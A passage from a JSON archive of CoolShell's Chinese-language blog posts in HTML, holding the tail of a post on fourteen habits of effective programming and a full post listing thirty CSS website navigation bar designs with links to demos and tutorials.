是一份给程序员的礼物，他们帮助你完成了很多很细节的事情，他们有可能是一个lib库，你需要进行简单的拼装，一个几乎完成了的软件框架就已形成。这是一个能够给开发工作提速的东西。只要上网随便搜一搜，你可以看到太多太多的框架了。形形色色，几乎都是开源社区贡献的。</p></li>\n<li>\n<h4>泛型编程</h4>\n<p>如果抽像出一些程序中相似的东西，然后把这些相似的东西用一个标准的东西实现，这也是编程所追求的最高境界之一，像诸如C++中的STL之类的东西就是此类东西的最佳体现。灵活之及，几乎都快放之四海皆准了。</p></li>\n<li>\n<h4>使用开源的代码</h4>\n<p>这个世界上有太多太多开源的代码了。学会利用他们可以让你更节省时间和精力，因为我们完全没有必要把相当的东西实现若干次，学会使用开源的代码不但是一个学习的过程，同样也是一个增加编程效率的事情。</p></li>\n<li>\n<h4>完善开发环境</h4>\n<p>开发环境非常重要，因为好的开发环境可以让你事倍功半。他们可以让你不需要关注别的东西，比如，我曾看过某程序员在调整编辑器的字体和高亮上花费了不少工夫。是的，这是值得肯定了，只有把开发环境变得舒服，才能让自己更好的编程。</p></li>\n<li>\n<h4>使用调试器</h4>\n<p>学会使用调试器来调试代码，单步跟踪，变量值跟踪，内存，堆栈等等。熟练地使用调试器可以让你更好的查找程序的问题，以得到最优的代码。</p></li>\n<li>\n<h4>使用版本管理工具</h4>\n<p>版本管理工具应该是任何程序员都应该要去学会使用的东西，特别在一个团队中，如何管理程序的不同版本，如何维护，存放代码，版本管理工具绝对是开发过程中不可少的东西。其意义绝对不只代码备份和共享那么简单。下面是一些开源的管理管理工具：<a href=\"http://git-scm.com/\"><span style=\"color: #84241d;\">Git</span></a>，<a href=\"http://subversion.tigris.org/\"><span style=\"color: #84241d;\">SVN</span></a>，<a href=\"http://www.nongnu.org/cvs/\"><span style=\"color: #84241d;\">CVS</span></a>和<a href=\"http://bazaar-vcs.org/\"><span style=\"color: #84241d;\">Bazaar</span></a>。</p></li>\n</ol>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/546.html\">有效编程的14件事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-17 30种时尚的CSS网站导航条.html",
    "content": "<html><body><p>我想，大家在上网的时候一定见过很多很多种各式各样的网站导航条的设计。这些导航条基本上来说都是用CSS来做的。这里，我们将向你介绍几种最不错的用CSS设计的网站导航条。希望你会喜欢。</p>\n<h4>1. <a href=\"http://www.cssplay.co.uk/menu/menu_map.html\"><span style=\"color: #006699;\">The Menu menu</span></a></h4>\n<p><a href=\"https://coolshell.cn/wp-admin/The%20Menu%20menu\"><span style=\"color: #006699;\"><img alt=\"The Menu menu\" height=\"306\" src=\"http://images.sixrevisions.com/2009/04/13-09_menu_menu.jpg\" width=\"500\"/></span></a></p>\n<p> 这是一个非常不错的CSS菜单，相当的独特，每个图标都有鼠标感应，然后出现子菜单。如果你想知道怎么做的，你可以简单的看一下这个网页的源码。</p>\n<p><span id=\"more-562\"></span></p>\n<h4>2. <a href=\"http://www.shingokko.com/blog_post.aspx?t=pure-css-hover-menu\"><span style=\"color: #006699;\">Pure CSS hover menu</span></a></h4>\n<p><a href=\"http://www.shingokko.com/resources/hover_menu_sample_working.htm\"><span style=\"color: #006699;\"><img alt=\"Pure CSS hover menu\" height=\"234\" src=\"http://images.sixrevisions.com/2009/04/13-28_css_hover_menu.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.shingokko.com/resources/hover_menu_sample_working.htm\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个纵向显示的鼠标感应的菜单和其子菜单。</p>\n<h4>3. <a href=\"http://13styles.com/css-menus/matte/\" target=\"_blank\"><span style=\"color: #006699;\">Matte CSS Menu</span></a></h4>\n<p><a href=\"http://13styles.com/code/matte/\"><span style=\"color: #006699;\"><img alt=\"Matte CSS\" height=\"168\" src=\"http://images.sixrevisions.com/2009/04/13-01_styles.png\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://13styles.com/code/matte/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>Matte 是一个简单的CSS 菜单，使用两个图片，可以有13种风格。这个CSS菜单由 <a href=\"http://www.davidappleyard.org/\" target=\"_blank\"><span style=\"color: #006699;\">David Appleyard</span></a> 开发和维护，他开发了很多很多简单而有强大的CSS菜单。</p>\n<h4>4. <a href=\"http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Blur Menu</span></a></h4>\n<p><a href=\"http://www.3point7designs.com/web-design2.html\"><span style=\"color: #006699;\"><img alt=\"CSS Blur Menu\" height=\"236\" src=\"http://images.sixrevisions.com/2009/04/13-08_blur_menu.png\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.3point7designs.com/web-design2.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个模糊的导航条，只有当鼠标经过的时候才会变得清楚。</p>\n<h4>5. <a href=\"http://hv-designs.co.uk/2009/01/09/coding-the-creative-design-layout/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Navigation with Glowing Icons</span></a></h4>\n<p><a href=\"http://www.hv-designs.co.uk/tutorials/css_navigation2/navigation.html\"><span style=\"color: #006699;\"><img alt=\"CSS Navigation with Glowing Icons\" height=\"141\" src=\"http://images.sixrevisions.com/2009/04/13-27_css_navigation_icon.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.hv-designs.co.uk/tutorials/css_navigation2/navigation.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>有一个非常不错的简单的教程会教你创建这个漂亮的CSS导航条。</p>\n<h4>6. <a href=\"http://kailoon.com/css-sliding-door-using-only-1-image/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Sliding Door using only 1 image</span></a></h4>\n<p><a href=\"http://kailoon.com/example/sliding-door/css-sliding-door-blue.html\"><span style=\"color: #006699;\"><img alt=\"CSS Sliding Door using only 1 image\" height=\"110\" src=\"http://images.sixrevisions.com/2009/04/13-17_css_sliding_door.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://kailoon.com/example/sliding-door/css-sliding-door-blue.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这是一个朴素的CSS导航条，其基于 <a href=\"http://www.alistapart.com/articles/slidingdoors/\"><span style=\"color: #006699;\">Sliding Doors</span></a> 技术，只需要一个图片。</p>\n<h4>7. <a href=\"http://superfluousbanter.org/archives/2004/05/navigation-matrix-reloaded/\" target=\"_blank\"><span style=\"color: #006699;\">Navigation Matrix Reloaded</span></a></h4>\n<p><a href=\"http://www.nundroo.com/nav_matrix/welcome2.html\"><span style=\"color: #006699;\"><img alt=\"Navigation Matrix Reloaded\" height=\"105\" src=\"http://images.sixrevisions.com/2009/04/13-18_css_matrix_reloaded.png\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.nundroo.com/nav_matrix/welcome2.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>又一个相当时髦的导航条。</p>\n<p> </p>\n<h4>8. <a href=\"http://e-lusion.com/design/menu/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Horizontal Menu</span></a></h4>\n<p><a href=\"http://e-lusion.com/design/menu/\"><span style=\"color: #006699;\"><img alt=\"CSS Horizontal Menu\" height=\"148\" src=\"http://images.sixrevisions.com/2009/04/13-11_horizontal_menu.png\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://e-lusion.com/design/menu/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p><a href=\"http://e-lusion.com/\"><span style=\"color: #006699;\">Ian Main</span></a> 提供了一组很不错的相当时髦的CSS导航条。</p>\n<h4>9. <a href=\"http://www.styledmenus.com/2009/01/woody-css-menu.html\" target=\"_blank\"><span style=\"color: #006699;\">Woody CSS Menu</span></a></h4>\n<p><a href=\"http://www.styledmenus.com/2009/01/woody-css-menu.html\"><span style=\"color: #006699;\"><img alt=\"Woody CSS Menu.\" height=\"68\" src=\"http://images.sixrevisions.com/2009/04/13-02_woody_css_menu.jpg\" width=\"500\"/></span></a></p>\n<p>Woody 是一个跨浏览器的CSS导航条，其在IE6, IE 7, Firefox, Opera, Safari, Chrome上测试通过。</p>\n<h4>10. <a href=\"http://www.webdesignerwall.com/tutorials/advanced-css-menu/\" target=\"_blank\"><span style=\"color: #006699;\">Advanced CSS Menu</span></a></h4>\n<p><a href=\"http://www.webdesignerwall.com/tutorials/advanced-css-menu/\"><span style=\"color: #006699;\"><img alt=\"Advanced CSS Menu\" height=\"107\" src=\"http://images.sixrevisions.com/2009/04/13-03_advanced_css_menu.png\" width=\"500\"/></span></a></p>\n<p>Advanced CSS Menu 由<a href=\"http://www.ndesign-studio.com/\" target=\"_blank\"><span style=\"color: #006699;\">Nick La</span></a> 开发，其使用了一个相当独特的方式。</p>\n<p>11. <a href=\"http://www.cssmenumaker.com/builder/menu_info.php?menu=019\" target=\"_blank\"><span style=\"color: #006699;\"><strong>Simple Yellow Tabbed</strong></span></a></p>\n<p><a href=\"http://www.cssmenumaker.com/builder/menu_info.php?menu=019\"><span style=\"color: #006699;\"><img alt=\"Simple Yellow Tabbed\" height=\"97\" src=\"http://images.sixrevisions.com/2009/04/13-04_simple_yellow_tabbed.jpg\" width=\"500\"/></span></a></p>\n<p>这个导航条由<a href=\"http://www.cssmenumaker.com/index.php\" target=\"_blank\"><span style=\"color: #006699;\">CSS Menu Generator</span></a> 生成。这是一个质量很不错的导航条。</p>\n<h4>12. <a href=\"http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx\" target=\"_blank\"><span style=\"color: #006699;\">Vimeo-Like Top Navigation</span></a></h4>\n<p><a href=\"http://www.jankoatwarpspeed.com/examples/vimeo_navigation/\"><span style=\"color: #006699;\"><img alt=\"Vimeo-Like Top Navigation\" height=\"170\" src=\"http://images.sixrevisions.com/2009/04/13-05_vimeo_like.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.jankoatwarpspeed.com/examples/vimeo_navigation/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个基于CSS的导航条由 <a href=\"http://vimeo.com/\"><span style=\"color: #006699;\">Vimeo</span></a> 制作。</p>\n<h4>13. <a href=\"http://www.webvamp.co.uk/blog/coding/graphical-css-rollover-menu/\" target=\"_blank\"><span style=\"color: #006699;\">Apple Like Colorful CSS Menu</span></a></h4>\n<p><a href=\"http://www.webvamp.co.uk/blog/coding/graphical-css-rollover-menu/\"><span style=\"color: #006699;\"><img alt=\"Apple Like Colorful CSS Menu\" height=\"189\" src=\"http://images.sixrevisions.com/2009/04/13-30_apple_like_colorful.jpg\" width=\"500\"/></span></a></p>\n<p>这是一个效仿 Apple的图片滚动的CSS菜单，其有一个教程。</p>\n<h4>14. <a href=\"http://www.designmeme.com/articles/hoverboxmenu/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Hoverbox</span></a></h4>\n<p><a href=\"http://www.designmeme.com/articles/hoverboxmenu/\"><span style=\"color: #006699;\"><img alt=\"CSS Hoverbox\" height=\"110\" src=\"http://images.sixrevisions.com/2009/04/13-06_hover_menu.png\" width=\"500\"/></span></a></p>\n<p>其灵感来源于 <a href=\"http://sonspring.com/journal/hoverbox-image-gallery\"><span style=\"color: #006699;\">Hoverbox Image Gallery</span></a>，由Nathan Smith开发，CSS Hoverbox 使用<code>background-position</code> CSS 属性制作。网页上有教程。</p>\n<h4>15. <a href=\"http://css.maxdesign.com.au/listamatic/experimental01.htm\" target=\"_blank\"><span style=\"color: #006699;\">Big CSS Box</span></a></h4>\n<p><a href=\"http://css.maxdesign.com.au/listamatic/experimental01.htm\"><span style=\"color: #006699;\"><img alt=\"Big CSS Box\" height=\"146\" src=\"http://images.sixrevisions.com/2009/04/13-07_big_box.jpg\" width=\"500\"/></span></a></p>\n<p>这只不过是一个试验性质的CSS 导航条，其允许你创建一个可以缩放的导航条，其可以自适应于浏览器的宽度。</p>\n<h4>16. <a href=\"https://www.servage.net/blog/2009/03/20/create-a-cool-css-based-drop-down-menu/\"><span style=\"color: #006699;\">Simple CSS-based drop-down menu</span></a></h4>\n<p><a href=\"https://www.servage.net/blog/wp-content/uploads/2009/03/css-menu.html\"><span style=\"color: #006699;\"><img alt=\"Simple CSS-based drop-down menu\" height=\"167\" src=\"http://images.sixrevisions.com/2009/04/13-10_drop_down.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"https://www.servage.net/blog/wp-content/uploads/2009/03/css-menu.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个下拉式菜单，虽然非常简单，但是却非常的优秀。</p>\n<h4>17. <a href=\"http://veerle.duoh.com/blog/comments/2_level_horizontal_navigation_in_css_with_images/\" target=\"_blank\"><span style=\"color: #006699;\">Two Level Horizontal Navigation in CSS</span></a></h4>\n<p><a href=\"http://www.duoh.com/csstutorials/2levelmenu/index.html\"><span style=\"color: #006699;\"><img alt=\"Two Level Horizontal Navigation in CSS\" height=\"100\" src=\"http://images.sixrevisions.com/2009/04/13-12_css_horizontal_vreel.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.duoh.com/csstutorials/2levelmenu/index.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p><a href=\"http://veerle.duoh.com/blog/about/\"><span style=\"color: #006699;\">Veerle Pieters</span></a> 提供的这个CSS导航条教程，其主要使用了<code>text-indent</code> CSS 属性。</p>\n<h4>18. <a href=\"http://www.projectseven.com/tutorials/css/uberlinks/index.htm\" target=\"_blank\"><span style=\"color: #006699;\">Uberlink CSS List Menus</span></a></h4>\n<p><a href=\"http://www.projectseven.com/tutorials/css/uberlinks/home.htm\"><span style=\"color: #006699;\"><img alt=\"Uberlink CSS List Menus\" height=\"158\" src=\"http://images.sixrevisions.com/2009/04/13-14_uberlink.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.projectseven.com/tutorials/css/uberlinks/home.htm\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个CSS导航条看起来很像是一个图片切换的样子。</p>\n<h4>19. <a href=\"http://www.cssnewbie.com/css-only-accordion/\" target=\"_blank\"><span style=\"color: #006699;\">CSS-Only Accordion Effect</span></a></h4>\n<p><a href=\"http://www.cssnewbie.com/example/css-only-accordion/horizontal.html\"><span style=\"color: #006699;\"><img alt=\"CSS-Only Accordion Effect\" height=\"299\" src=\"http://images.sixrevisions.com/2009/04/13-16_css_accordian.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.cssnewbie.com/example/css-only-accordion/horizontal.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个CSS设计的很有想法，啥也不说了，上去看看就知道有多酷了。</p>\n<h4>20. <a href=\"http://tutorials.mezane.org/tabbed-navigation-using-css/#Introduction\" target=\"_blank\"><span style=\"color: #006699;\">Tabbed Navigation Using CSS</span></a></h4>\n<p><a href=\"http://tutorials.mezane.org/tabbed-navigation-using-css/#Introduction\"><span style=\"color: #006699;\"><img alt=\"Tabbed Navigation Using CSS\" height=\"196\" src=\"http://images.sixrevisions.com/2009/04/13-19_tabbed_navigation_css.png\" width=\"500\"/></span></a></p>\n<p>这是另一个很不错的相法，让你可以创建一个TAB页，注意这是完全由纯CSS写成的。你可以通过点击上面的链接查看如何制作这样一个界面。</p>\n<h4>21. <a href=\"http://www.simplebits.com/notebook/2003/06/07/mini_tabs_the_untab_tab.html\" target=\"_blank\"><span style=\"color: #006699;\">CSS Mini Tabs (the UN-tab, tab)</span></a></h4>\n<p><a href=\"http://www.simplebits.com/bits/minitabs.html\"><span style=\"color: #006699;\"><img alt=\"CSS Mini Tabs (the UN-tab, tab)\" height=\"94\" src=\"http://images.sixrevisions.com/2009/04/13-20_mini_tab.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.simplebits.com/bits/minitabs.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个CSS导航条是由一个比较流行的网页设计中介 <a href=\"http://www.simplebits.com/about/\"><span style=\"color: #006699;\">SimpleBits</span></a> 完成，它展示了一个可以创建小TAB页的方法。</p>\n<h4>22. <a href=\"http://www.alistapart.com/articles/horizdropdowns\" target=\"_blank\"><span style=\"color: #006699;\">Drop-Down Menus, Horizontal Style</span></a></h4>\n<p><a href=\"http://www.alistapart.com/d/horizdropdowns/horizontal.htm\"><span style=\"color: #006699;\"><img alt=\"Drop-Down Menus, Horizontal Style\" height=\"205\" src=\"http://images.sixrevisions.com/2009/04/13-21_drop_down_list_apart.png\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.alistapart.com/d/horizdropdowns/horizontal.htm\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个<a href=\"http://www.alistapart.com/about/\"><span style=\"color: #006699;\">A List Apart</span></a> CSS 菜单技术主要实现了一个纵向的二级菜单，其主要使用了 <code>position: absolute</code> CSS 属性来决定了菜单的位置。</p>\n<h4>23. <a href=\"http://www.456bereastreet.com/archive/200501/turning_a_list_into_a_navigation_bar/\" target=\"_blank\"><span style=\"color: #006699;\">List Into a Navigation Bar</span></a></h4>\n<p><a href=\"http://www.456bereastreet.com/lab/ul_navbar/step11/\"><span style=\"color: #006699;\"><img alt=\"List Into a Navigation Bar\" height=\"67\" src=\"http://images.sixrevisions.com/2009/04/13-22_list_navigation.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.456bereastreet.com/lab/ul_navbar/step11/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>Roger Johansson 的<a href=\"http://www.456bereastreet.com/about/\"><span style=\"color: #006699;\">456 Berea Street</span></a> 展示了一个简单的理论——把一些带有下划线的列表转换成了一个导航条。这是一个非常好的给初学者的一个案例，可以通过它学习到如何通过CSS创建一个HTML结构的导航条。</p>\n<h4>24. <a href=\"http://www.kalsey.com/tools/csstabs/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Tabs with Submenus</span></a></h4>\n<p><a href=\"http://www.kalsey.com/tools/csstabs/\"><span style=\"color: #006699;\"><img alt=\"CSS Tabs with Submenus\" height=\"133\" src=\"http://images.sixrevisions.com/2009/04/13-23_css_tab_submenu.jpg\" width=\"500\"/></span></a></p>\n<p>这个CSS导航条菜单允许你创建二级的TAB页，相当不错哦。</p>\n<h4>25. <a href=\"http://vikiworks.com/2008/03/29/a-css-block-navigation-menu/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Block Navigation Menu</span></a></h4>\n<p><span style=\"color: #006699;\"><img alt=\"CSS Block Navigation Menu\" height=\"84\" src=\"http://images.sixrevisions.com/2009/04/13-26_css_block_menu.png\" width=\"500\"/></span></p>\n<p>这个CSS导航条，让你可以创建一个带有描述语的导航条。</p>\n<h4>26. <a href=\"http://www.zenelements.co.uk/blog/coding-sprite-navigation-xhtml-css/\" target=\"_blank\"><span style=\"color: #006699;\">XHTML &amp; CSS Sprite Navigation</span></a></h4>\n<p><a href=\"http://www.zenelements.co.uk/blog/images/tutorials/web-design-development/sprite-navigation/sprite-navigation-example.html\"><span style=\"color: #006699;\"><img alt=\"XHTML &amp; CSS Sprite Navigation\" height=\"65\" src=\"http://images.sixrevisions.com/2009/04/13-13_css_sprite.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.zenelements.co.uk/blog/images/tutorials/web-design-development/sprite-navigation/sprite-navigation-example.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>这个时尚的CSS精灵导航条有三个状态：空闲，鼠标感应，和鼠标点击。</p>\n<h4>27. <a href=\"http://learnola.com/2008/10/28/xhtml-tutorial-css-tabbed-menu/\" target=\"_blank\"><span style=\"color: #006699;\">XHTML CSS Tabbed Menu</span></a></h4>\n<p><a href=\"http://talentedpixel.com/wp-content/themes/revolution_music-10/tab-example.html\"><span style=\"color: #006699;\"><img alt=\"XHTML CSS Tabbed Menu\" height=\"135\" src=\"http://images.sixrevisions.com/2009/04/13-15_xhtml_css_tab.png\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://talentedpixel.com/wp-content/themes/revolution_music-10/tab-example.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>你可以学习一个如果不用脚本来创建TAB页。</p>\n<h4>28. <a href=\"http://thedesignsuperhero.com/2008/04/tutorial-to-create-a-pretty-cool-simple-horizontal-css-menu/\" target=\"_blank\"><span style=\"color: #006699;\">Cool, Simple, Horizontal CSS Menu</span></a></h4>\n<p><a href=\"http://72.18.130.22/~thedesig/wp-content/uploads/2008/04/css_menu.html\"><span style=\"color: #006699;\"><img alt=\"XHTML &amp; CSS Sprite Navigation\" height=\"85\" src=\"http://images.sixrevisions.com/2009/04/13-24_cool_horizontal.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://72.18.130.22/~thedesig/wp-content/uploads/2008/04/css_menu.html\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>教你如果创建一个简单直接的CSS导航条。</p>\n<h4>29. <a href=\"http://green-beast.com/experiments/css_menu_descriptions.php\" target=\"_blank\"><span style=\"color: #006699;\">CSS Menu with Descriptions</span></a></h4>\n<p><a href=\"http://green-beast.com/experiments/css_menu_descriptions.php\"><span style=\"color: #006699;\"><img alt=\"CSS Menu with Descriptions\" height=\"201\" src=\"http://images.sixrevisions.com/2009/04/13-25_css_menu_w_description.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://green-beast.com/experiments/css_menu_descriptions.php\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个会扩展的导航条。</p>\n<h4>30. <a href=\"http://www.nublue.co.uk/blog/css-hover-button/\" target=\"_blank\"><span style=\"color: #006699;\">CSS Hover Button</span></a></h4>\n<p><a href=\"http://www.nucopy.com/\"><span style=\"color: #006699;\"><img alt=\"CSS Hover Button\" height=\"219\" src=\"http://images.sixrevisions.com/2009/04/13-29_css_hover.jpg\" width=\"500\"/></span></a></p>\n<p><span class=\"figure-caption\"><a href=\"http://www.nucopy.com/\" target=\"_blank\"><span style=\"color: #006699;\">查看演示</span></a></span></p>\n<p>一个相当不错的教程教你如果制一个鼠标感应式的按钮。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3063.html\"><img alt=\"40个很不错的CSS技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3063.html\">40个很不错的CSS技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/562.html\">30种时尚的CSS网站导航条</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-17 C语言下的错误处理的问题.html",
